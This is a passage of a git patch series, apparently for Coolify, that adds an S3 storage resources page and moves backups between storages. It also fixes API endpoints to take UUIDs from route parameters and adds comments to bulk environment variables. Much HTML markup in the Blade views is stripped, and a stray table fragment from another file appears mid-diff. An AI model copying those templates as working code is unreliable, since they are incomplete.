S3Storage model to automatically disable S3 backups when storage is deleted. Improve error handling in DatabaseBackupJob to throw exception when S3 storage is missing instead of silently returning. - New Storage/Resources Livewire component - Add resources.blade.php view - Add storage.resources route - Move delete() method from Form to Show component - Add deleting event listener to S3Storage model - Track backup count and current route in Show component - Add #[On('submitStorage')] attribute to form submission --- app/Jobs/DatabaseBackupJob.php | 12 +- app/Livewire/Storage/Form.php | 15 +-- app/Livewire/Storage/Resources.php | 23 ++++ app/Livewire/Storage/Show.php | 20 ++++ app/Models/S3Storage.php | 12 ++ .../views/livewire/storage/form.blade.php | 31 ----- .../livewire/storage/resources.blade.php | 62 ++++++++++ .../views/livewire/storage/show.blade.php | 48 +++++++- routes/web.php | 1 + tests/Feature/DatabaseBackupJobTest.php | 109 ++++++++++++++++++ 10 files changed, 285 insertions(+), 48 deletions(-) create mode 100644 app/Livewire/Storage/Resources.php create mode 100644 resources/views/livewire/storage/resources.blade.php diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 5fc9f6cd8..b55c324be 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -625,10 +625,16 @@ private function calculate_size() private function upload_to_s3(): void { + if (is_null($this->s3)) { + $this->backup->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + + throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($this->backup->s3_storage_id ?? 'null').'). S3 backup has been disabled for this schedule.'); + } + try { - if (is_null($this->s3)) { - return; - } $key = $this->s3->key; $secret = $this->s3->secret; // $region = $this->s3->region; diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php index 4dc0b6ae2..791226334 100644 --- a/app/Livewire/Storage/Form.php +++ b/app/Livewire/Storage/Form.php @@ -6,6 +6,7 @@ use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; +use Livewire\Attributes\On; use Livewire\Component; class Form extends Component @@ -131,19 +132,7 @@ public function testConnection() } } - public function delete() - { - try { - $this->authorize('delete', $this->storage); - - $this->storage->delete(); - - return redirect()->route('storage.index'); - } catch (\Throwable $e) { - return handleError($e, $this); - } - } - + #[On('submitStorage')] public function submit() { try { diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php new file mode 100644 index 000000000..f17175013 --- /dev/null +++ b/app/Livewire/Storage/Resources.php @@ -0,0 +1,23 @@ +storage->id) + ->with('database') + ->get(); + + return view('livewire.storage.resources', [ + 'backups' => $backups, + ]); + } +} diff --git a/app/Livewire/Storage/Show.php b/app/Livewire/Storage/Show.php index fdf3d0d28..dc5121e94 100644 --- a/app/Livewire/Storage/Show.php +++ b/app/Livewire/Storage/Show.php @@ -3,6 +3,7 @@ namespace App\Livewire\Storage; use App\Models\S3Storage; +use App\Models\ScheduledDatabaseBackup; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -12,6 +13,10 @@ class Show extends Component public $storage = null; + public string $currentRoute = ''; + + public int $backupCount = 0; + public function mount() { $this->storage = S3Storage::ownedByCurrentTeam()->whereUuid(request()->storage_uuid)->first(); @@ -19,6 +24,21 @@ public function mount() abort(404); } $this->authorize('view', $this->storage); + $this->currentRoute = request()->route()->getName(); + $this->backupCount = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)->count(); + } + + public function delete() + { + try { + $this->authorize('delete', $this->storage); + + $this->storage->delete(); + + return redirect()->route('storage.index'); + } catch (\Throwable $e) { + return handleError($e, $this); + } } public function render() diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index 3aae55966..f395a065c 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -40,6 +40,13 @@ protected static function boot(): void $storage->secret = trim($storage->secret); } }); + + static::deleting(function (S3Storage $storage) { + ScheduledDatabaseBackup::where('s3_storage_id', $storage->id)->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + }); } public static function ownedByCurrentTeam(array $select = ['*']) @@ -59,6 +66,11 @@ public function team() return $this->belongsTo(Team::class); } + public function scheduledBackups() + { + return $this->hasMany(ScheduledDatabaseBackup::class, 's3_storage_id'); + } + public function awsUrl() { return "{$this->endpoint}/{$this->bucket}"; diff --git a/resources/views/livewire/storage/form.blade.php b/resources/views/livewire/storage/form.blade.php index 850d7735f..3d9fd322b 100644 --- a/resources/views/livewire/storage/form.blade.php +++ b/resources/views/livewire/storage/form.blade.php @@ -1,36 +1,5 @@
-
-
-

Storage Details

-
{{ $storage->name }}
-
-
Current Status:
- @if ($isUsable) - - Usable - - @else - - Not Usable - - @endif -
-
- Save - - @can('delete', $storage) - - @endcan -
diff --git a/resources/views/livewire/storage/resources.blade.php b/resources/views/livewire/storage/resources.blade.php new file mode 100644 index 000000000..29d26d4f5 --- /dev/null +++ b/resources/views/livewire/storage/resources.blade.php @@ -0,0 +1,62 @@ +
+
+ @forelse ($backups as $backup) + @php + $database = $backup->database; + $databaseName = $database?->name ?? 'Deleted database'; + $link = null; + if ($database && $database instanceof \App\Models\ServiceDatabase) { + $service = $database->service; + if ($service) { + $environment = $service->environment; + $project = $environment?->project; + if ($project && $environment) { + $link = route('project.service.configuration', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'service_uuid' => $service->uuid, + ]); + } + } + } elseif ($database) { + $environment = $database->environment; + $project = $environment?->project; + if ($project && $environment) { + $link = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + } + } + @endphp + @if ($link) + + @else + + @endif + @empty +
+
No backup schedules are using this storage.
+
+ @endforelse +
+
diff --git a/resources/views/livewire/storage/show.blade.php b/resources/views/livewire/storage/show.blade.php index 1c3a11a69..e54de37f3 100644 --- a/resources/views/livewire/storage/show.blade.php +++ b/resources/views/livewire/storage/show.blade.php @@ -2,5 +2,51 @@ {{ data_get_str($storage, 'name')->limit(10) }} >Storages | Coolify - + +
+

Storage Details

+ @if ($storage->is_usable) + + Usable + + @else + + Not Usable + + @endif + Save + @can('delete', $storage) + + @endcan +
+
{{ $storage->name }}
+ +
+ +
+ @if ($currentRoute === 'storage.show') + + @elseif ($currentRoute === 'storage.resources') + + @endif +
diff --git a/routes/web.php b/routes/web.php index 26863aa17..27763f121 100644 --- a/routes/web.php +++ b/routes/web.php @@ -140,6 +140,7 @@ Route::prefix('storages')->group(function () { Route::get('/', StorageIndex::class)->name('storage.index'); Route::get('/{storage_uuid}', StorageShow::class)->name('storage.show'); + Route::get('/{storage_uuid}/resources', StorageShow::class)->name('storage.resources'); }); Route::prefix('shared-variables')->group(function () { Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index'); diff --git a/tests/Feature/DatabaseBackupJobTest.php b/tests/Feature/DatabaseBackupJobTest.php index d7efc2bcd..37c377dab 100644 --- a/tests/Feature/DatabaseBackupJobTest.php +++ b/tests/Feature/DatabaseBackupJobTest.php @@ -1,6 +1,10 @@ toHaveKey('s3_storage_deleted'); expect($casts['s3_storage_deleted'])->toBe('boolean'); }); + +test('upload_to_s3 throws exception and disables s3 when storage is null', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => 99999, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => Team::factory()->create()->id, + ]); + + $job = new DatabaseBackupJob($backup); + + $reflection = new ReflectionClass($job); + $s3Property = $reflection->getProperty('s3'); + $s3Property->setValue($job, null); + + $method = $reflection->getMethod('upload_to_s3'); + + expect(fn () => $method->invoke($job)) + ->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted'); + + $backup->refresh(); + expect($backup->save_s3)->toBeFalsy(); + expect($backup->s3_storage_id)->toBeNull(); +}); + +test('deleting s3 storage disables s3 on linked backups', function () { + $team = Team::factory()->create(); + + $s3 = S3Storage::create([ + 'name' => 'Test S3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + ]); + + $backup1 = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + $backup2 = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandaloneMysql', + 'database_id' => 2, + 'team_id' => $team->id, + ]); + + // Unrelated backup should not be affected + $unrelatedBackup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => null, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 3, + 'team_id' => $team->id, + ]); + + $s3->delete(); + + $backup1->refresh(); + $backup2->refresh(); + $unrelatedBackup->refresh(); + + expect($backup1->save_s3)->toBeFalsy(); + expect($backup1->s3_storage_id)->toBeNull(); + expect($backup2->save_s3)->toBeFalsy(); + expect($backup2->s3_storage_id)->toBeNull(); + expect($unrelatedBackup->save_s3)->toBeTruthy(); +}); + +test('s3 storage has scheduled backups relationship', function () { + $team = Team::factory()->create(); + + $s3 = S3Storage::create([ + 'name' => 'Test S3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + ]); + + ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + expect($s3->scheduledBackups()->count())->toBe(1); +}); From 86c8ec9c20b7f2f4dcc8ed1b75efa39b7b2b2763 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 12:04:16 +0100 Subject: [PATCH 228/305] feat(storage): group backups by database and filter by s3 status Group backup schedules by their parent database (type + ID) for better organization in the UI. Filter to only display backups with save_s3 enabled. Restructure the template to show database name as a header with nested backups underneath, allowing clearer visualization of which backups belong to each database. Add key binding to livewire component to ensure proper re-rendering when resources change. --- app/Livewire/Storage/Resources.php | 6 +- .../livewire/storage/resources.blade.php | 123 ++++++++++-------- .../views/livewire/storage/show.blade.php | 2 +- 3 files changed, 76 insertions(+), 55 deletions(-) diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index f17175013..30ac67066 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -13,11 +13,13 @@ class Resources extends Component public function render() { $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + ->where('save_s3', true) ->with('database') - ->get(); + ->get() + ->groupBy(fn ($backup) => $backup->database_type.'-'.$backup->database_id); return view('livewire.storage.resources', [ - 'backups' => $backups, + 'groupedBackups' => $backups, ]); } } diff --git a/resources/views/livewire/storage/resources.blade.php b/resources/views/livewire/storage/resources.blade.php index 29d26d4f5..4fdef1e4b 100644 --- a/resources/views/livewire/storage/resources.blade.php +++ b/resources/views/livewire/storage/resources.blade.php @@ -1,62 +1,81 @@
-
- @forelse ($backups as $backup) - @php - $database = $backup->database; - $databaseName = $database?->name ?? 'Deleted database'; - $link = null; - if ($database && $database instanceof \App\Models\ServiceDatabase) { - $service = $database->service; - if ($service) { - $environment = $service->environment; - $project = $environment?->project; - if ($project && $environment) { - $link = route('project.service.configuration', [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'service_uuid' => $service->uuid, - ]); - } - } - } elseif ($database) { - $environment = $database->environment; + @forelse ($groupedBackups as $backups) + @php + $firstBackup = $backups->first(); + $database = $firstBackup->database; + $databaseName = $database?->name ?? 'Deleted database'; + $resourceLink = null; + $backupParams = null; + if ($database && $database instanceof \App\Models\ServiceDatabase) { + $service = $database->service; + if ($service) { + $environment = $service->environment; $project = $environment?->project; if ($project && $environment) { - $link = route('project.database.backup.index', [ + $resourceLink = route('project.service.configuration', [ 'project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, + 'service_uuid' => $service->uuid, ]); } } - @endphp - @if ($link) - - @else - - @endif - @empty -
-
No backup schedules are using this storage.
+ } elseif ($database) { + $environment = $database->environment; + $project = $environment?->project; + if ($project && $environment) { + $resourceLink = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + $backupParams = [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]; + } + } + @endphp +
+
+ @if ($resourceLink) + {{ $databaseName }} + @else + {{ $databaseName }} + @endif
- @endforelse -
+
+ @foreach ($backups as $backup) + @php + $backupLink = null; + if ($backupParams) { + $backupLink = route('project.database.backup.execution', array_merge($backupParams, [ + 'backup_uuid' => $backup->uuid, + ])); + } + @endphp + @if ($backupLink) + + @else + + @endif + @endforeach +
+
+ @empty +
No backup schedules are using this storage.
+ @endforelse
diff --git a/resources/views/livewire/storage/show.blade.php b/resources/views/livewire/storage/show.blade.php index e54de37f3..0d580486e 100644 --- a/resources/views/livewire/storage/show.blade.php +++ b/resources/views/livewire/storage/show.blade.php @@ -46,7 +46,7 @@ @if ($currentRoute === 'storage.show') @elseif ($currentRoute === 'storage.resources') - + @endif
From ce5e736b00d493ab2863b3ab666d50d8a8c1e0e8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 12:48:52 +0100 Subject: [PATCH 229/305] feat(storage): add storage management for backup schedules Add ability to move backups between S3 storages and disable S3 backups. Refactor storage resources view from cards to table layout with search functionality and storage selection dropdowns. --- app/Livewire/Storage/Resources.php | 60 ++++++ resources/css/app.css | 2 +- .../livewire/storage/resources.blade.php | 182 ++++++++++-------- 3 files changed, 165 insertions(+), 79 deletions(-) diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index 30ac67066..643ecb3eb 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -10,6 +10,61 @@ class Resources extends Component { public S3Storage $storage; + public array $selectedStorages = []; + + public function mount(): void + { + $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + ->where('save_s3', true) + ->get(); + + foreach ($backups as $backup) { + $this->selectedStorages[$backup->id] = $this->storage->id; + } + } + + public function disableS3(int $backupId): void + { + $backup = ScheduledDatabaseBackup::findOrFail($backupId); + + $backup->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + + unset($this->selectedStorages[$backupId]); + + $this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.'); + } + + public function moveBackup(int $backupId): void + { + $backup = ScheduledDatabaseBackup::findOrFail($backupId); + $newStorageId = $this->selectedStorages[$backupId] ?? null; + + if (! $newStorageId || (int) $newStorageId === $this->storage->id) { + $this->dispatch('error', 'No change.', 'The backup is already using this storage.'); + + return; + } + + $newStorage = S3Storage::where('id', $newStorageId) + ->where('team_id', $this->storage->team_id) + ->first(); + + if (! $newStorage) { + $this->dispatch('error', 'Storage not found.'); + + return; + } + + $backup->update(['s3_storage_id' => $newStorage->id]); + + unset($this->selectedStorages[$backupId]); + + $this->dispatch('success', 'Backup moved.', "Moved to {$newStorage->name}."); + } + public function render() { $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) @@ -18,8 +73,13 @@ public function render() ->get() ->groupBy(fn ($backup) => $backup->database_type.'-'.$backup->database_id); + $allStorages = S3Storage::where('team_id', $this->storage->team_id) + ->orderBy('name') + ->get(['id', 'name', 'is_usable']); + return view('livewire.storage.resources', [ 'groupedBackups' => $backups, + 'allStorages' => $allStorages, ]); } } diff --git a/resources/css/app.css b/resources/css/app.css index eeba1ee01..3cfa03dae 100644 --- a/resources/css/app.css +++ b/resources/css/app.css @@ -163,7 +163,7 @@ tbody { } tr { - @apply text-black dark:text-neutral-400 dark:hover:bg-black hover:bg-neutral-200; + @apply text-black dark:text-neutral-400 dark:hover:bg-coolgray-300 hover:bg-neutral-100; } tr th { diff --git a/resources/views/livewire/storage/resources.blade.php b/resources/views/livewire/storage/resources.blade.php index 4fdef1e4b..481e7ccab 100644 --- a/resources/views/livewire/storage/resources.blade.php +++ b/resources/views/livewire/storage/resources.blade.php @@ -1,81 +1,107 @@ -
- @forelse ($groupedBackups as $backups) - @php - $firstBackup = $backups->first(); - $database = $firstBackup->database; - $databaseName = $database?->name ?? 'Deleted database'; - $resourceLink = null; - $backupParams = null; - if ($database && $database instanceof \App\Models\ServiceDatabase) { - $service = $database->service; - if ($service) { - $environment = $service->environment; - $project = $environment?->project; - if ($project && $environment) { - $resourceLink = route('project.service.configuration', [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'service_uuid' => $service->uuid, - ]); - } - } - } elseif ($database) { - $environment = $database->environment; - $project = $environment?->project; - if ($project && $environment) { - $resourceLink = route('project.database.backup.index', [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, - ]); - $backupParams = [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, - ]; - } - } - @endphp -
-
- @if ($resourceLink) - {{ $databaseName }} - @else - {{ $databaseName }} - @endif -
-
- @foreach ($backups as $backup) - @php - $backupLink = null; - if ($backupParams) { - $backupLink = route('project.database.backup.execution', array_merge($backupParams, [ - 'backup_uuid' => $backup->uuid, - ])); - } - @endphp - @if ($backupLink) - - @else - - @endif - @endforeach +
+ + @if ($groupedBackups->count() > 0) +
+
+
+
Time TypeResource ReasonDetails
+ @if($skip['link'] ?? null) + + {{ $skip['resource_name'] }} + + @elseif($skip['resource_name'] ?? null) + {{ $skip['resource_name'] }} + @else + {{ $skip['context']['task_name'] ?? $skip['context']['server_name'] ?? 'Deleted' }} + @endif + @php $reasonLabel = match($skip['reason']) { @@ -256,15 +267,6 @@ class="border-b border-gray-200 dark:border-coolgray-400"> @endphp {{ $reasonLabel }} - @php - $details = collect($skip['context']) - ->except(['type', 'skip_reason', 'execution_time']) - ->map(fn($v, $k) => str_replace('_', ' ', $k) . ': ' . $v) - ->implode(', '); - @endphp - {{ $details }} -
+ + + + + + + + + + @foreach ($groupedBackups as $backups) + @php + $firstBackup = $backups->first(); + $database = $firstBackup->database; + $databaseName = $database?->name ?? 'Deleted database'; + $resourceLink = null; + $backupParams = null; + if ($database && $database instanceof \App\Models\ServiceDatabase) { + $service = $database->service; + if ($service) { + $environment = $service->environment; + $project = $environment?->project; + if ($project && $environment) { + $resourceLink = route('project.service.configuration', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'service_uuid' => $service->uuid, + ]); + } + } + } elseif ($database) { + $environment = $database->environment; + $project = $environment?->project; + if ($project && $environment) { + $resourceLink = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + $backupParams = [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]; + } + } + @endphp + @foreach ($backups as $backup) + + + + + + + @endforeach + @endforeach + +
DatabaseFrequencyStatusS3 Storage
+ @if ($resourceLink) + {{ $databaseName }} + @else + {{ $databaseName }} + @endif + + @php + $backupLink = null; + if ($backupParams) { + $backupLink = route('project.database.backup.execution', array_merge($backupParams, [ + 'backup_uuid' => $backup->uuid, + ])); + } + @endphp + @if ($backupLink) + {{ $backup->frequency }} + @else + {{ $backup->frequency }} + @endif + + @if ($backup->enabled) + Enabled + @else + Disabled + @endif + +
+ + Save + Disable S3 +
+
+
- @empty -
No backup schedules are using this storage.
- @endforelse + @else +
No backup schedules are using this storage.
+ @endif From 8a164735cb3bb046aa8d5a10e3f6d077bd961dce Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 21:56:58 +0100 Subject: [PATCH 230/305] fix(api): extract resource UUIDs from route parameters Extract resource UUIDs from route parameters instead of request body in ApplicationsController and ServicesController environment variable endpoints. This prevents UUID parameters from being spoofed in the request body. - Replace $request->uuid with $request->route('uuid') - Replace $request->env_uuid with $request->route('env_uuid') - Add tests verifying route parameters are used and body UUIDs ignored --- .../Api/ApplicationsController.php | 10 +-- .../Controllers/Api/ServicesController.php | 10 +-- .../EnvironmentVariableUpdateApiTest.php | 62 ++++++++++++++++++- 3 files changed, 71 insertions(+), 11 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6f34b43bf..5819441b7 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2957,7 +2957,7 @@ public function update_env_by_uuid(Request $request) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3158,7 +3158,7 @@ public function create_bulk_envs(Request $request) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3352,7 +3352,7 @@ public function create_env(Request $request) if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3509,7 +3509,7 @@ public function delete_env_by_uuid(Request $request) if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3519,7 +3519,7 @@ public function delete_env_by_uuid(Request $request) $this->authorize('manageEnvironment', $application); - $found_env = EnvironmentVariable::where('uuid', $request->env_uuid) + $found_env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) ->where('resourceable_type', Application::class) ->where('resourceable_id', $application->id) ->first(); diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 32097443e..de504c1a4 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1207,7 +1207,7 @@ public function update_env_by_uuid(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1342,7 +1342,7 @@ public function create_bulk_envs(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1461,7 +1461,7 @@ public function create_env(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1570,14 +1570,14 @@ public function delete_env_by_uuid(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } $this->authorize('manageEnvironment', $service); - $env = EnvironmentVariable::where('uuid', $request->env_uuid) + $env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) ->where('resourceable_type', Service::class) ->where('resourceable_id', $service->id) ->first(); diff --git a/tests/Feature/EnvironmentVariableUpdateApiTest.php b/tests/Feature/EnvironmentVariableUpdateApiTest.php index 9c45dc5ae..1ff528bbf 100644 --- a/tests/Feature/EnvironmentVariableUpdateApiTest.php +++ b/tests/Feature/EnvironmentVariableUpdateApiTest.php @@ -3,6 +3,7 @@ use App\Models\Application; use App\Models\Environment; use App\Models\EnvironmentVariable; +use App\Models\InstanceSettings; use App\Models\Project; use App\Models\Server; use App\Models\Service; @@ -14,6 +15,8 @@ uses(RefreshDatabase::class); beforeEach(function () { + InstanceSettings::updateOrCreate(['id' => 0]); + $this->team = Team::factory()->create(); $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); @@ -24,7 +27,7 @@ $this->bearerToken = $this->token->plainTextToken; $this->server = Server::factory()->create(['team_id' => $this->team->id]); - $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); $this->project = Project::factory()->create(['team_id' => $this->team->id]); $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); }); @@ -117,6 +120,35 @@ $response->assertStatus(422); }); + + test('uses route uuid and ignores uuid in request body', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + EnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'old-value', + 'resourceable_type' => Service::class, + 'resourceable_id' => $service->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'key' => 'TEST_KEY', + 'value' => 'new-value', + 'uuid' => 'bogus-uuid-from-body', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['key' => 'TEST_KEY']); + }); }); describe('PATCH /api/v1/applications/{uuid}/envs', function () { @@ -191,4 +223,32 @@ $response->assertStatus(422); }); + + test('rejects unknown fields in request body', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'old-value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'key' => 'TEST_KEY', + 'value' => 'new-value', + 'uuid' => 'bogus-uuid-from-body', + ]); + + $response->assertStatus(422); + $response->assertJsonFragment(['uuid' => ['This field is not allowed.']]); + }); }); From fb76b68c0822df5616320d8fbc8624fd0d8b3d17 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 22:17:55 +0100 Subject: [PATCH 231/305] feat(api): support comments in bulk environment variable endpoints Add support for optional comment field on environment variables created or updated through the bulk API endpoints. Comments are validated to a maximum of 256 characters and are nullable. Updates preserve existing comments when not provided in the request. --- .../Api/ApplicationsController.php | 11 +- .../Controllers/Api/ServicesController.php | 1 + .../EnvironmentVariableBulkCommentApiTest.php | 244 ++++++++++++++++++ 3 files changed, 255 insertions(+), 1 deletion(-) create mode 100644 tests/Feature/EnvironmentVariableBulkCommentApiTest.php diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 5819441b7..3444f9f14 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -3175,7 +3175,7 @@ public function create_bulk_envs(Request $request) ], 400); } $bulk_data = collect($bulk_data)->map(function ($item) { - return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']); + return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']); }); $returnedEnvs = collect(); foreach ($bulk_data as $item) { @@ -3188,6 +3188,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { return response()->json([ @@ -3220,6 +3221,9 @@ public function create_bulk_envs(Request $request) if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) { $env->is_buildtime = $item->get('is_buildtime'); } + if ($item->has('comment') && $env->comment != $item->get('comment')) { + $env->comment = $item->get('comment'); + } $env->save(); } else { $env = $application->environment_variables()->create([ @@ -3231,6 +3235,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => $is_shown_once, 'is_runtime' => $item->get('is_runtime', true), 'is_buildtime' => $item->get('is_buildtime', true), + 'comment' => $item->get('comment'), 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3254,6 +3259,9 @@ public function create_bulk_envs(Request $request) if 